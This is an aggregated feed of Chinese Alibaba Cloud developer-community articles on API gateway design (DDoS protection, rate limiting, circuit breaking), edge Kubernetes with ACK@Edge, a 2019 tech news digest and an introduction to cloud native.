        要开放API,就会有一个API网关,互联网上每天数以亿次的API调用背后,除了有具体的API Service提供服务外,还有API 网关作为统一出入口来处理这些流量。
        image.png

        网关形态

        API 网关一般分为:

        1. 中心化
        2. 去中心化

        两类,主要区别如下:

        中心化 去中心化
        稳定性风险 有单点依赖风险,一旦网关故障,所有业务都将受到影响 单个网关故障后只影响单个服务,全局不受影响
        升级、维护成本 一份部署,易维护 每个服务独立部署一个网关,升级、运维成本高
        适用场景 承载较多业务场景、需要经常升级 承载业务简单、不经常升级、不同业务需要物理隔离

        得益于开发模型更简单、更易维护、易接入、且有多种手段来保障稳定性,中心化的网关服务更常见,被很多大型企业、API网关服务提供厂商采用,我们本次将分享中心化网关的建设。

        网关选型

        要开放API,常见的解决方案有3种:

        1. 云上的API Gateway类云服务,比如API Gateway,提供了开箱即用的API 网关服务;
        2. 基于开源API网关二次开发,如Kong
        3. 从零自建。

        三种解决方案的对比如下:
        截屏2019-12-16下午7.55.39.png

        核心能力

        要建设一个企业级的API网关绝非一件易事,需要大量的技术持续投入,由于篇幅有限,我们在这里只介绍几个最核心能力的落地思路:

        1. 网络层安全防护;
        2. 应用层流量控制;
        3. 稳定性。

        网络层安全防护

        image.png
        作为流量的统一出入口,网关是很容易受到各类攻击的,有一些是恶意攻击,比如游戏等行业就更容易受到一些恶意的攻击,也有一些是无意的带有攻击行为的流量,比如突发活动导致的大流量。
        常用的防护手段有:

        1. 四层防护;
        2. 七层防护;
        3. 流量清洗。

        四层、七层防护是两块涉及到攻防的专业领域,比如常见的有DDOS、基于IP的CC攻击等,这块需要有专门的技术投入建设的,如果没有资源投入的话,建议购买云上的高防服务来防护,要避免裸奔,没有任何防护的互联网应用是非常危险的,尤其是对于网关来说。
        以基于HTTP协议的API为例:

        • 我们需要针对不同的出口IP配置流量阈值,避免某个客户端出口IP占用过多流量而影响整个Endpoint,如果可以识别出用户身份还可以基于用户身份配置流控阈值
        • 如果为不同API服务提供了不同的Endpoint,我们还需要为每个Endpoint配置独立的流量阈值,避免单个Endpoint流量过大影响同集群的其他Endpoint
        • 除此之外,网络层还需要对后端Real Server进行保护,需要为后端集群配置集群防护阈值,避免有超过集群容量的流量进入集群,这里建议配置为基于单个Server的流控阈值,这样当集群动态扩缩容的时候这个阈值会自动变更,而不是配置为绝对值。

        有了四层、七层的防护,基本的防护能力就已经具备了,如果我们为每一个API服务或者每一个用户分配了一个Endpoint,通常多个Endpoint的流量会流入到同一个LVS设备,这个LVS设备受到四层攻击的时候我们就无法判断是由于哪个Endpoint导致的,这个时候就需要流量清洗能力,来分析出是攻击者是通过哪个Endpoint作为攻击点的,由于此类攻击一般都是自动跟随攻击,服务端切换一个新的LVS设备后攻击就会跟过来。应对措施主要流程如下:

        1. 使用二分法,将域名分成2份分别解析到2个LVS上;
        2. 判断攻击跟随到了哪个LVS上;
        3. 将跟随到的这个LVS继续使用二分法进行拆分,直到定位到攻击流量跟随的是哪个Endpoint;
        4. 将这个Endpoint拉到黑洞。

        这个流量清洗方案通常可以自己开发完成,但是需要有一个用于清洗的LVS设备池子,至此在网络层的防护就比较全面了,包含了IP、用户、Endpoint、集群、流量清洗。

        应用层流量控制

        image.png
        通过网络层防护对网关有了比较全面的防护,网关的处理能要比每个后端Service的处理能力要强,网关作为流量入口除了要保护好网关自身,还好保护好后端Service不受攻击,这个时候就要使用网关应用层流量控制了,在网关层需要支持为以下维度配置流控:

        1. 为每个Service租户配置流控阈值,确保每个后端服务收到的流量不会超过Service集群容量;
        2. 为每个API配置流控阈值,避免某个API占用了单个Service过多流量;
        3. 为每个用户配置Service、API粒度的流控阈值,避免单个用户占用过多流量;
        4. 为特殊用户配置特殊的流控配置,比如大用户等。

        过去,被很多人问到了应用层要如何做流控,要做一套完善的流控机制,还是需要不少投入的,对技术也有比较高的要求,流控一般有两个相互牵制的因素:性能、准确性,尤其是当单次请求流控维度非常多的时候,性能问题就会凸显出来,尤其是还要保障精度的时候,常用的方案有:

        1. 精准流控,基于Redis等分布式缓存的计数器能力进行控制;
        2. 单机流控,纯单机流量控制;
        3. 单机+分布式两段流控;
        4. 集群内部流控。

        基于分布式缓存的计数器模式是比较简单的流控方案,可以做到精准流控,但是当调用分布式缓存延迟比较高+流控维度过多后性能就会成为问题,这个地方有个技巧,缓存的KEY可以设置为业务Key+时间戳,比如秒级流控可以设置为:XXX_YYYYMMDDHHMMSS,根据这个Key通过调用一次远程计数器的Inc接口就可以完成一次精准流控,当业务体量不大,维度不多,但是需要支持精准流控的时候可以使用此方案。

        纯单机的流控也是一个比较常见的方案,由于不涉及到远程IO,性能是最好的,通常用于非精准流控场景,因为不均衡的流量分布、扩容、缩容等场景都会对流控准确度造成较大的影响,将流控总阈值平均分布到每个Server上,可以通过后台手动设置集群数量的方式,也可以使用自动化的集群Server数量自动感知模式来感知集群总Server数。

        单机+分布式缓存的两段式流控是集上面两种方案的优点的一种平衡解决方案,当流控水位比较低的时候采用单机流控,以取得更好的性能,当流控水位到达一定水位快满的时候,汇总所有本地流控计数信息后累加到分布式计数器中,并切换到分布式计数模式进行精准流控,此方案整体上在保障高精度的同时换取了更好的性能表现,通常分钟、小时、天级别的流控更适合采用这种模式。

        集群内部流控方式,也是一种精准流控模式,即在当前本地Server集群中选举一个计数Server,将远程计数IO切换到集群内部通信,在做到精准流控的同时获取更好的性能,这个方式在技术上会有更大的挑战,比如当技术Server重启、故障后如何保障精度等。

        流控方面在开源方面已经有了很多的解决方案,比如阿里开源的Sentinel综合实力是非常强的,支持多种计数模式,包含集群计数模式、滑动窗口等,其他开源解决方案还有Hystrix、resilience4j等。

        稳定性

        image.png
        网关对于稳定性SLA的要求是要比其他任何单个Service都要高的,比如网关的SLA是5个9,那么其他所有通过网关开放的API的SLA都不可能高于5个9。尤其是对于中心化部署的网关,一旦网关故障,造成的影响也是非常大的。所以需要通过一系列的稳定性保障体系来保障网关的稳定性,而不是只做到某个点就可以的,其中比较核心的几个点有:
        租户隔离:
        网关作为一个平台,会有很多租户接入,即不同的Service提供者,网关要做到不同租户之间的隔离,不能相互影响,典型的反例是:网关是基于线程模型的同步调用,且多个Service在同一个集群提供服务,当某个Service有大量慢调用的时候就会耗尽所有网关层的线程资源,导致整个集群中的服务不可用,导致雪崩。

        • 首先网关需要基于异步的模型,或者使用协程,网关做为一个网络IO密集型应用,一定要避免被某个远程调用影响。
        • 在租户层面可以考虑基于容器的隔离,为所有接入租户或者重要租户进行物理隔离。
        • 对链接进行隔离,比如基于HTTP的连接池,要为每个host设置默认的最大连接数量。
        • 基于线程池的隔离,实际在网关中应用较少,如果有适合的场景也可以考虑使用

        熔断降级:
        对于依赖的服务要有熔断降级机制

        • 网关的主要依赖就是后端Service,后端Service通常也是最不稳定的,比如高RT、大Request、大Response等。当某个后端服务、API指定异常数量超过一定数量后要自动降级,只放小流量到后端Service,通过小流量探测后端恢复正常后再恢复服务,避免单个Service、API的异常流量耗尽系统资源。
        • 除了Service外就是数据源、分布式缓存、认证系统等,当这些依赖服务异常后网关要有逃生能力,通常可以通过多级逻辑+物理缓存解决,比如本地缓存、分布式缓存、磁盘文件兜底等方案,当依赖服务故障后对于存量的业务网关依然可以继续提供服务。

        熔断也有一些开源的解决方案,比如阿里开源的Sentinel,除了支持流控,在熔断方面也是非常优秀的。
        巡检、自动化回归测试:
        网关作为开放API的平台,所有的能力都可以通过API调用完成自动化的测试、验证,是最适合做自动化回归测试、自动巡检的系统,一定要确保网关系统有完善的自动化测试Case,当API发布过程中进行验证,并在日常做巡检,一旦系统能力有任何问题,可以第一时间收到报警。
        容灾演练:
        将容灾演练日常化,在大版本发布的时候要有容灾测试,确保新代码没有破坏系统的容灾能力。

        除了这些以外,还要结合前面讲到的安全防护能力一起保障网关的稳定性

        总结

        要建设一个企业级的网关要先根据当前的环境选择适合的方案,不是所有的企业都需要自己从零建设自己的网关,一旦决定要做,是需要持续的技术投入的,本文只是重点介绍了建设网关中最重要的稳定性部分,作为网关稳定一定是第一位的,也是最难做的部分,本文作为一个引子,后续将会针对不同的细分领域进行分享。

        ]]>
        云边一体--如何基于标准k8s打造边缘计算云原生基础设施 Fri, 02 May 2025 09:39:04 +0800 引言

        云原生的理念如今正如火如荼。它不仅仅是一种技术,更是随着云生态的发展而被逐渐提炼出的一系列技术、最佳实践与方法论的集合;它带来了资源利用率提升、分布式系统的弹性扩展与可靠性等能力,能够让IT系统最大程度的享受云计算红利,业界全面拥抱云原生就是最好的佐证。

        伴随5G、IoT的发展,边缘计算正在成为云计算的新边界,而规模和复杂度的日益提升对边缘计算的效率,可靠性,资源利用率等一系列能力又有了新的诉求。试想,如果能将云能力从中心往边缘触达,上述问题是不是将迎刃而解?那么在云原生时代构建云到边的触达通路,保持云边一致性体验,我们的抓手又在哪里呢?本次分享将一一为你揭晓。

        云原生概念

        云原生的概念最早是在2013年被提出,经过这几年的发展,尤其是从 2015 年 Google 牵头成立 CNCF 以来,云原生技术开始进入公众的视线并逐渐演变成包括 DevOps、持续交付、微服务、容器、基础设施,Serverless,FaaS等一系列的技术,实践和方法论集合。伴随着技术的普及,与之相配套的团队建设,技术文化,组织架构和管理方法也呼之欲出。越来越多的企业选择云原生构建其应用来获得更好的资源效率和持续的服务能力。相比较过往着力云原生概念的普及、理解和力求共识,云原生落地已经成为现如今I/CT日常主旋律。

        云原生的技术范畴包括了以下几个方面:云应用定义与开发、云应用的编排与管理、监控与可观测性、云原生的底层技术(比如容器运行时、云原生存储技术、云原生网络技术等)、云原生工具集、Serverless。虽然,CNCF以目前200多个项目和产品(CNCF云原生全景https://github.com/cncf/landscape) 的巨大体量保持高速发展,不断壮大云原生体系的技术集合,但所有项目基本都在上述技术范畴中,紧守云原生理念不放;

        那么云原生的核心优势到底有哪些,能带给我们真实体感又是什么?

        引用CNCF的重新定义:"Cloud native technologies empower organizations to build and run scalable applications in modern, dynamic environments such as public, private, and hybrid clouds. Containers, service meshes, microservices, immutable infrastructure, and declarative APIs exemplify this approach.These techniques enable loosely coupled systems that are resilient, manageable, and observable. Combined with robust automation, they allow engineers to make high-impact changes frequently and predictably with minimal toil."
        image.png

        云原生和边缘基础设施

        在云计算真正普及之前,获取基础设施能力(比如服务发现、流量控制、监控与可观测性、访问控制、网络控制、存储层抽象等)需要应用通过某种抽象或接口方式,使得两者之间是非常紧密的耦合关系,应用本身的能力和演进需要强依赖基础设施。而在云原生时代,类似kubernetes这样的标准化资源抽象、编排、整合平台促进基础设施能力正在不断下沉,云能力和应用之间的隔阂也正在云原生技术体系下被不断瓦解。“面向云架构”、“面向云编程”的呼声日渐高涨的同时,cloudnative的云基础设施越来越“友好”。但是,云原生基础设施概念远远超出公有云上运行的基础设施范畴。

        “软硬件技术的成熟、巨大的社会价值和伟大的商业模式”造就了云计算的兴起和蓬勃发展,迅猛的势头也催生了各种新型技术架构的诞生,笔者认为云原生的出现同样是顺应了技术和商业的浪潮。

        放眼当下,随着互联网智能终端设备数量的急剧增加和数据、业务下沉的诉求增多,边缘计算规模和业务复杂度已经发生了翻天覆地的变化,边缘智能、边缘实时计算、边缘分析等新型业务不断涌现。传统云计算中心集中存储、计算的模式已经无法满足边缘设备对于时效、容量、算力的需求,如何打造边缘基础设施成了一个新课题。

        本次分享也是从这个问题出发,和大家一起探讨云原生基础设施在边缘计算落地的可能性。
        试想,从云到端,是否能将云计算的能力下沉到边缘侧、设备侧,并通过中心进行统一交付、运维、管控,通过粘合云计算核心能力和边缘算力,构筑在边缘基础设施之上的云计算平台?在回答这个问题之前,我们先梳理一下边缘计算可能面临的一些挑战:

        • 云边端协同:缺少统一的交付、运维、管控标准。
        • 安全:边缘服务和边缘数据的安全风险控制难度较高。
        • 网络:边缘网络的可靠性和带宽限制。
        • 异构资源:对不同硬件架构、硬件规格、通信协议的支持,以及基于异构资源、网络、规模等差异化提供标准统一的服务能力的挑战。

        这些问题云原生模式能解吗,云原生的技术底座kubernetes能撑起大梁吗?众所周知,以Kubernetes为基础的云原生技术,核心价值之一是通过统一的标准实现在任何基础设施上提供和云上一致的功能和体验:那么借助云原生技术,可以实现云-边-端一体化的应用分发,解决在海量边、端设备上统一完成大规模应用交付、运维、管控的诉求是不是就有可能;同时在安全方面,云原生技术可以提供容器等更加安全的工作负载运行环境,以及流量控制、网络策略等能力,能够有效提升边缘服务和边缘数据的安全性;而依托云原生领域强大的社区和厂商支持,云原生技术对异构资源的适用性逐步提升,在物联网领域,云原生技术已经能够很好的支持多种CPU架构(x86-64/arm/arm64)和通信协议,并实现较低的资源占用。k8s虽好,但落地边缘计算场景好像还有一段路要走。

        Kubernetes概念

        基本概念

        “Kubernetes——让容器应用进入大规模工业生产,已然成了容器编排系统的事实标准;”下图是kubernetes架构图(图文引用自https://jimmysong.io/kubernetes-handbook/cloud-native/from-kubernetes-to-cloud-native.html

        image.png

        • 核心层:Kubernetes最核心的功能,对外提供API构建高层的应用,对内提供插件式应用执行环境
        • 应用层:部署(无状态应用、有状态应用、批处理任务、集群应用等)和路由(服务发现、DNS解析等)
        • 管理层:系统度量(如基础设施、容器和网络的度量),自动化(如自动扩展、动态Provision等)以及策略管理(RBAC、Quota、PSP、NetworkPolicy等)
        • 接口层:kubectl命令行工具、客户端SDK以及集群联邦
        • 生态系统:在接口层之上的庞大容器集群管理调度的生态系统,可以划分为两个范畴
        • Kubernetes外部:日志、监控、配置管理、CI、CD、Workflow、FaaS、OTS应用、ChatOps等
        • Kubernetes内部:CRI、CNI、CVI、镜像仓库、Cloud Provider、集群自身的配置和管理等

        Kubernetes落地形态

        随着kubernetes的普及,越来越来的上层系统开始搭建在kubernetes底座之上,比如CICD、Serverless、IoT、PaaS等业务。过往经验告诉我们,在享受kubernetes带来的方便快捷集成体验的同时,kubernetes的自身运维也带来了额外的巨大工作量:kubernetes的升级、高可用部署,资源对接、监控、事件告警、多租管理等等。因此,专门的运维团队,运维工具,以及公有云托管服务就应运而生了,这也是当前业界kubernetes几种常见的服务形态。

        先说说公共云托管kubernetes服务,目前主流云厂商基本上都推出了XKS/XCK的服务,虽然底层实现各异,但是都有着类似的用户体验。用户只需要在云厂商界面提交集群配置,点击购买按钮,一个高可用的,无缝对接各种云资源,云服务的kubernetes集群就能够在3-5分钟内被创建出来;且后续的集群升级、运维、扩缩容等等运维操作都是动动小手的白屏化操作,体验简洁到极致。kubernetes强大接口能力也能够让用户快速便捷的按需使用上各厂商的IaaS资源。综合各种因素,公共云托管kubernetes服务正成为大多数用户的选择。但往往也有出于各种数据安全、集群规模、价格因素等等考虑,部分用户也会选择自建或者使用云厂商的专有云kubernetes版本、混合云版本。如果从kubernetes层面考量,三者本质都大同小异,依赖第三方提供一个稳定、兼容、安全可以持续发展的商业化kubernetes底座,以期得到规模化、标准化的k8s服务能力。

        重新回到前面的问题,边缘计算基础设施既要云原生,又要云边一体,还要一致性体验,那么使用云端托管、边缘定制会不会是一个很好的选择呢?接下来展开叙述。

        云端管控、边缘自治

        “云边端一体化协同”作为标准化的一个构想,将标准化的云原生能力向边缘端复制,需要分为三个层次:

        • 第一个层次是能够在云端提供标准化的接口、管控能力,或者是标准的云服务和云资源的接入能力。其中我们能够看到 Kubernetes 的身影;
        • 第二个层次是能够高效的管理处在整个边缘端的众多资源,其中包括在边缘端应用的效率问题。
        • 第三层次是典型的 IoT 场景中的端设备,例如智慧楼宇智能停车设备,蓝牙设备、人脸识别设备等。
          image.png

        云端托管原生k8s

        先看最核心的云端托管层,在云边一体的设计理念中,自然而然的能够联想到将原生的标准k8s托管在公共云上,开箱即用各种被集成的云能力必定是不二之选。几点原因,k8s免运维上面已经谈到,原生的k8s便于被上层业务系统集成却常常被忽视,通过云厂商将kubernetes和其他云能力(弹性、日志监控、应用市场,镜像服务等)打通,无论是终端用户直接使用,还是做新业务创新,复杂度都大大降低;此外,将云管控作为中心式服务,通过提供统一管控能力,反而非常适合管理边缘场景中零散分布的计算资源和应用,比如CDN服务、IoT业务等;最后,云原生的方式又可以让用户以往K8s经验用于新的边缘计算业务。

        image.png

        上图所示的管控架构也符合前文提到的云边分层结构:“分而自治,中心管控”。

        适度定制适配边缘场景

        k8s除了上述诸般特征之外,还有一个强大的插件机制,CxI自不必说,CRD、Operator更是让k8s如虎添翼。在面向边缘场景,自然而然会有一些别样的逻辑需要适配,例如:边缘节点和云端管控走弱连接公网交互带来的管理逻辑适配;边缘节点应用驱逐逻辑适配;边缘节点支持原生运维接口适配等等。插件化的非侵入方式可以让原生k8s在免受任何一丁点的冲击的同时,扩展更多的逻辑,比如用来做边缘单元化管理的EdgeUnit Operator,再比如做边缘节点自治管理的EdgeNode Operator。

        前文提到,边缘托管集群要将运维能力统一收编到云端,中心式的运维能力高效又便捷;所以,除了各种控制器之外,云端还有各种运维控制器来做日志、监控数据等请求的转运,如:日志控制器,MetricServer等;EdgeTunnelServer提供了一条稳健的反向数据通道,很多云到边的请求都要从此经过,至于它的用途后面分解;
        image.png

        自治

        如上图所示,每个Edge节点上配备了一个EdgeHub组件,边缘节点自治离不开它。

        先说说背景,众所周知k8s原生设计为数据中心内部的容器编排系统(DCOS),默认网络可靠、可信。管控端(apiserver、调度器,资源控制器)源源不断收集节点心跳做相应的调度决策,若worker节点和管控断链,原生k8s管控就要将节点置为不可用、并驱逐应用(容忍时间到了之后)。而这些看似再正常不过的业务逻辑,在边缘场景确是万万不可接受的。

        在“分而自治,中心管控”的设计理念下,woker节点和中心管控走弱链接的公网交互,各种环境、网络、人为因素都会带来网络的抖动,甚至不可用。但是此时,边缘节点上的业务和agent却要能够持续提供服务,这就是自治。概括起来还包括,worker节点和云端断连后:

        • 节点上agent(kubelet、proxy等)无感知持续运行,就像还稳稳的连着master(其实是要骗骗它们)
        • 节点间东西向流量持续稳定交互(老师不在,同学们自己上自习);
        • 节点重启后,节点上管控元信息和应用原信息能够恢复原样,因为没法通过管控配置中心同步(邮局关门,我不能给你写信,我就在原地等你带着青春容颜--mac地址保持、podIP保持等);
          image.png

        EdgeHub作为节点上的临时配置中心,在断链情况下,持续为节点上所有设备提供断网前一刻的配置服务。数据持久化在本地磁盘,和节点共存亡。EdgeHub上实现了诸多k8s api,除了给agent用,节点上承载的业务pod也可以使用,轻量又便捷;

        原生运维支持

        说完边缘端,再来说说云边链接的“脐带”--EdgeTunnel。用过k8s命令行工具--kubectl的同学,肯定会对“kubectl exec,kubectl logs, kubectl attach,kubectl top”等运维命令直呼过瘾,原理也很简单,大致就是apiserver建联到kubelet提供长链接支持。但是在边缘场景,由于大多数边缘节点没有暴露在公网之上,主动的云到边的网络建链突然变成不可能,所有的原生运维api黯然失效。

        image.png

        EdgeTunnel的设计目的就是为了弥补这份缺失,它通过在管控与边缘worker节点之间建立反向通道,并和worker节点的生命周期完整联动,支持证书配置,支持websocktet等等。我们看到最终apiserver通过它按需中转,metricserver(k8s原生运维工具)通过它按需中转......至此,这条宽似太平洋的通道让运维接口又转动起来,既安全又高效,皆大欢喜。

        边缘单元

        在真实落地过程中,我们发现边缘场景还真的是新奇又多彩。先卖个关子:

        客户A,IoT厂商,它们负责交付安防设备到商场,机场、火车站等;但是各场所的资源、应用管理诉求不同,客户希望能够一次提交,单元化管理,且要有“逻辑多租能力”:流量单一场地闭环,部署按场地调度;客户B,CDN厂商,机房遍布世界各地,海外和国内业务部署差异明显,资源规格各异;希望能够将资源分组,为后续开展不同业务铺垫。

        单元化,单元化流量管理,单元化调度、批量管理?k8s好像没有这个能力。千真万确,是没有,但是k8s的自定义资源控制器(CRD&Operator)提供了一条方便的解决途径。
        image.png

        通过k8s的扩展机制,在原生k8s基础上我们增加了edgeunit的管控逻辑,简言之:

        • 分属同一个edgeunit的worker节点,可以批量控制节点上的标签、annotation,设置节点调度状态等等;
        • 用户提交应用,可以按照单元化部署;如用户提交一份“deployment”配置,通过边缘单元的调度控制,可以在每个edgeunit中被克隆部署;除了批量管理之外,也可以赋予“单元”的独立控制能力,灵活高效。
        • 用户的服务流量控制,可以在单元内闭环。大家都知道,原生k8s service提供的集群内东西流量交互是不会感知边缘场景下节点位置属性而做额外处理的,但是出于数据安全考虑或天然的网络隔离等原因,我们需要将东西流量限制在一个边缘单元内,这也是edgeunit在service管理上需要额外设计的逻辑;

        轻量化

        上文提到,边缘算力的涵义颇广,包括:规模较大的CDN资源,通常被称之为“另一朵云”的边缘基础设施;也有浩如烟海的IoT的边缘设备,算力规模小但是数量庞大。在处理IoT场景云原生转型问题上,轻量化是绕不开的一环。我们知道,IoT业务场景充斥着大量的异构、小规格的边缘算力,像各种智能终端、设备,它们对资源的约束是极致的,难于接受额外的过多资源占用。所以,首当其冲的必然是管控层面的轻量化,简单介绍下目前常见的技术尝试:

        • 管控组件的轻量化替代和压缩,如containerd替代docker,以及减少额外node sidecar的部署和开销的方案等等;
        • 管控组件的裁剪,在k8s体系下对kubelet相关功能的裁剪和模块化,社区也有类似方案;
          image.png

        边缘k8s用在哪里

        那么回头再看,似否还有一个问题我们还没有讨论到,边缘容器/k8s到底用在哪里?一言以蔽之,Edge kubernetes适用于需要通过中心统一管控远端机房、服务器、设备的场景,轻松实现云、边、端一体的应用交付、运维、管控能力。

        • 在IOT领域,可用于工厂、仓库、楼宇、园区、高速收费站等场景。
        • 在CDN领域,可以支持视频直播、视频监控、在线教育等行业客户就近计算和存储的需求。
        • 在ENS边缘计算产品上,提供了针对ENS边缘实例的DevOps能力,方便针对边缘的应用分发及部署运维。

        阿里云容器服务边缘托管ACK@Edge

        人们常说“技术的发展有其自身的内在直接动力”,而阿里云边缘云原生的产品化落地动力确是实实在在的客户场景催生。大致分几个阶段:

        • 众所周知,阿里云在两大边缘计算领域CDN和IoT深耕已久,边缘规模和业务复杂度的日益攀升带来了不小的效能问题。在云原生大有爆发之势的2018年,阿里云容器服务先是和IoT业务团队联合推出Kubernetes Edge定制版本,作为云上IoT边缘托管服务底座,支持海量边缘网关节点接入,深度融合IoT云端市场、云端FaaS、消息、运维等服务,云边一体概念萌生

        image.png

        在这个过程中,云原生让IoT托管如虎添翼,持续落地智慧楼宇、智慧工厂、智慧仓储项目,云边端分层结构也日益显现,这里和大家分享两个案例:亲橙里和XX仓储:

        image.png

        image.png

        • 随着IoT业务规模增长,Kubernetes Edge定制版作为独立底座的维护成本越来越高,产品化势在必行。在2019年4月,阿里云容器服务ACK推出EdgeKubernetes的托管服务(ACK@Edge),就是上文提到的k8s的托管服务,只不过兼具了满足边缘计算场景的能力补齐,云边一体威力初现。

        image.png

        而这一次,ACK@Edge又在产品化之初选择和CDN联姻。阿里云有着国内最大体量的CDN业务,并正在从以内容分发服务为主转变为边缘计算,以ACK@Edge为依托构建云原生的EdgePaaS服务,而CDN的海量节点也考验了
        ACK@Edge的大规模服务能力。

        • 随着ACK@Edge的技术成熟,越来越多的内外部客户选择云边一体的云原生标准k8s托管服务。这里有一个优酷的case,优酷是国内最大的视频平台,随着业务的快速发展,需要将原来部署在若干 IDC 内的集中式架构,演进到云+边缘计算的架构。这就势必需要业务方能够有一种方式来统一管理阿里云十几个 region 和众多的边缘节点。通过边缘k8s架构,统一管理云与边缘的节点,实现了应用发布和弹性扩缩容的统一。通过弹性能力,节省了机器成本 50%以上;用户终端就近访问边缘节点,让端到端网络延迟降低了 75%

        image.png

        边缘云原生未来

        云原生的未来是共同的期待和技术演进,在消除边缘和云的差异之后,云边一体的架构体系会在未来将边缘计算牢牢坚定在“云计算新边界”的理念之上。新业务的开展将和云上保持高度一致:serverless,安全沙箱技术,函数计算等新的业务形态都将在不远的将来落地。ACK@Edge将和大家一起见证。技术讨论可以加入钉钉群:21976595。
        image.png

        ]]>
        2020年春运火车票今天开售;果冻有家,关注年轻人租房子的隐藏需求-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 苹果发布iOS13更新:iPhone联通用户要升级,解决4G信号差

        12月11日苹果推送了iOS 13.3正式版,主要是继续修复系统的Bug,提高稳定性,在iPhone和iPad的“屏幕使用时间”上,可以允许父母控制孩子的联系人,支持FaceTime、电话和信息应用,而系统还支持 NFC、USB和闪电接口的FIDO2安全密匙,并且针对无线充电还做了优化。对于联通用户,更新设备后,手机可以支持VoLTE,有了这个功能后,在iPhone上使用联通网络的用户在4G打电话的时候不需要掉到3G了。

        果冻有家,关注年轻人租房子的隐藏需求

        果冻有家是一款应政策背景和市场趋势而生的租房APP,瞄准的是最具活力的95乃至00后的新生代群体。果冻有家着重突出的社交互动等功能最大限度的迎合了目标群体特色。果冻有家配合智能家打造、在线商城、在线金融等元素构建围绕房子的完整生态系统。

        2020年春运火车票今天开售,预计发送旅客4.4亿人次

        国铁集团表示,2020年春运全国铁路运输呈现5大特点,春运动车组发送旅客比例预计达到63%以上,实现电子客票在全国高铁线路的基本覆盖。此外,国家铁路集团有限公司11日披露,2020年铁路春运自1月10日开始,2月18日结束,共40天,节前15天,节后25天。全国铁路预计发送旅客4.4亿人次,同比增长8%。

        QQ音乐开放平台发布“亿元激励”计划:10万元以下都归入驻音乐人

        获悉,12 月 12 日,腾讯音乐娱乐集团上市一周年之际,QQ音乐开放平台发布“亿元激励”分红计划,将大幅提高入驻音乐人的收入分成比例,其亮点为“激励金10万元以下都归你”。QQ音乐开放平台于今年11月上线,短短一个月,新入驻音乐人达1.2万,上传作品总播放量近6亿,助力永彬Ryan.B、Uu等年轻音乐人迅速蹿红,推出《桥边姑娘》《像极了》等全网爆款热歌。其中,《桥边姑娘》1周播放过亿。

        微信“好物圈”更名并升级为“微信圈子”

        微信的“好物圈”正式更名并升级为“微信圈子”。同一天,“微信搜索”也升级为“微信搜一搜”。目前,微信圈子入口被提升到搜一搜功能的主界面,并且也支持微信圈子植入公众号文章中进行推广。

        “无印良品”商标之争终审宣判,良品计画、上海无印良品败诉

        近日,北京市高级人民法院就无印良品侵犯商标权纠纷案作出终审判决,判令良品计画、上海无印良品立即停止侵犯棉田公司、北京无印良品注册商标专用权的行为,在天猫“无印良品MUJI官方旗舰店”和中国大陆的实体门店发布声明以消除侵权影响,并赔偿经济损失50万元及合理开支12.6万余元。目前,日本无印良品已在天猫“无印良品MUJI官方旗舰店”作出相关声明。

        ]]>
        人人都在谈论的云原生到底是什么?——3分钟,让你快速了解云原生!-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 原文链接
          随着虚拟化技术的成熟和分布式架构的普及,用来部署、管理和运行应用的云平台被越来越多的提及。IaaS、PaaS和SaaS是云计算的3种基本服务类型,它们是关注硬件基础设施的基础设施即服务、关注软件和中间件平台的平台即服务以及关注业务应用的软件即服务。
          在容器技术、可持续交付、编排系统等开源社区的推动下,以及微服务等开发理念的带动下,应用上云已经是不可逆转的趋势。随着云化技术的不断进展,云原生的概念也应运而生。

        image.png


        云原生概念的诞生

          云原生(Cloud Native)的概念,由来自Pivotal的MattStine于2013年首次提出,被一直延续使用至今。这个概念是Matt Stine根据其多年的架构和咨询经验总结出来的一个思想集合,并得到了社区的不断完善,内容非常多,包括DevOps、持续交付(Continuous Delivery)、微服务(MicroServices)、敏捷基础设施(Agile Infrastructure)和12要素(The Twelve-Factor App)等几大主题,不但包括根据业务能力对公司进行文化、组织架构的重组与建设,也包括方法论与原则,还有具体的操作工具。采用基于云原生的技术和管理方法,可以更好地把业务生于“云”或迁移到云平台,从而享受“云”的高效和持续的服务能力。
        image.png

        The Twelve-Factor App

          顾名思义,云原生是面向“云”而设计的应用,因此技术部分依赖于传统云计算的3层概念,基础设施即服务(IaaS)、平台即服务(PaaS)和软件即服务(SaaS),例如,敏捷的不可变基础设施交付类似于IaaS,用来提供计算网络存储等基础资源,这些资源是可编程且不可变的,直接通过API可以对外提供服务;有些应用通过PaaS服务本来就能组合成不同的业务能力,不一定需要从头开始建设;还有一些软件只需要“云”的资源就能直接运行起来为云用户提供服务,即SaaS能力,用户直接面对的就是原生的应用。

        云原生并不是一个产品

          最近讨论云原生应用越来越多。关于云原生应用,简单地说,就是大多数传统的应用,不做任何改动,都是可以在云平台运行起来,只要云平台支持这个传统应用所运行的计算机架构和操作系统。只不过这种运行模式,仅仅是把虚拟机当物理机一样使用,不能够真正利用起来云平台的能力。
          云并非把原先在物理服务器上跑的东西放到虚拟机里跑,真正的云化不仅是基础设施和平台的事情,应用也要做出改变,改变传统的做法,实现云化的应用——应用的架构、应用的开发方式、应用部署和维护技术都要做出改变,真正的发挥云的弹性、动态调度、自动伸缩……一些传统IT所不具备的能力。这里说的“云化的应用”也就是“云原生应用”。云原生架构和云原生应用所涉及的技术很多,如容器技术、微服务、可持续交付、DevOps等。
        image.png
          而云原生应用最大的特点就是可以迅速部署新业务。在企业里,提供新的应用程序环境及部署软件新版本通常所需时间以日、周甚至以月计算。这种速度严重限制了软件发布所能承受的风险,因为犯错及改错也需要花费同样的时间成本,竞争优势就会由此产生。
          所以云原生不是一个产品,而是一套技术体系和一套方法论,而数字化转型是思想先行,从内到外的整体变革。更确切地说,它是一种文化,更是一种潮流,是云计算的一个必然导向。意义在于让云成为云化战略成功的基石,而不是障碍。它可以根据商业能力对公司进行重组的能力,既包含技术、也包含管理,可以说是一系列云技术和企业管理方法的集合,通过实践及与其他工具相结合更好地帮助用户实现数字化转型。

        云原生计算基金会(CNCF)

          CNCF,即云原生计算基金会,2015年由谷歌牵头成立,基金会成员目前已有一百多企业与机构,包括亚马逊、微软、思科等巨头。
          目前CNCF所托管的应用已达14个,下图为其公布的Cloud Native Landscape,给出了云原生生态的参考体系。
        image.png

        Cloud Native Landscape新版


        CNCF(云原生计算基金会)认为云原生系统需包含的属性:

        容器化封装: 以容器为基础,提高整体开发水平,形成代码和组件重用,简化云原生应用程序的维护。在容器中运行应用程序和进程,并作为应用程序部署的独立单元,实现高水平资源隔离。
        自动化管理:统一调度和管理中心,从根本上提高系统和资源利用率,同时降低运维成本。
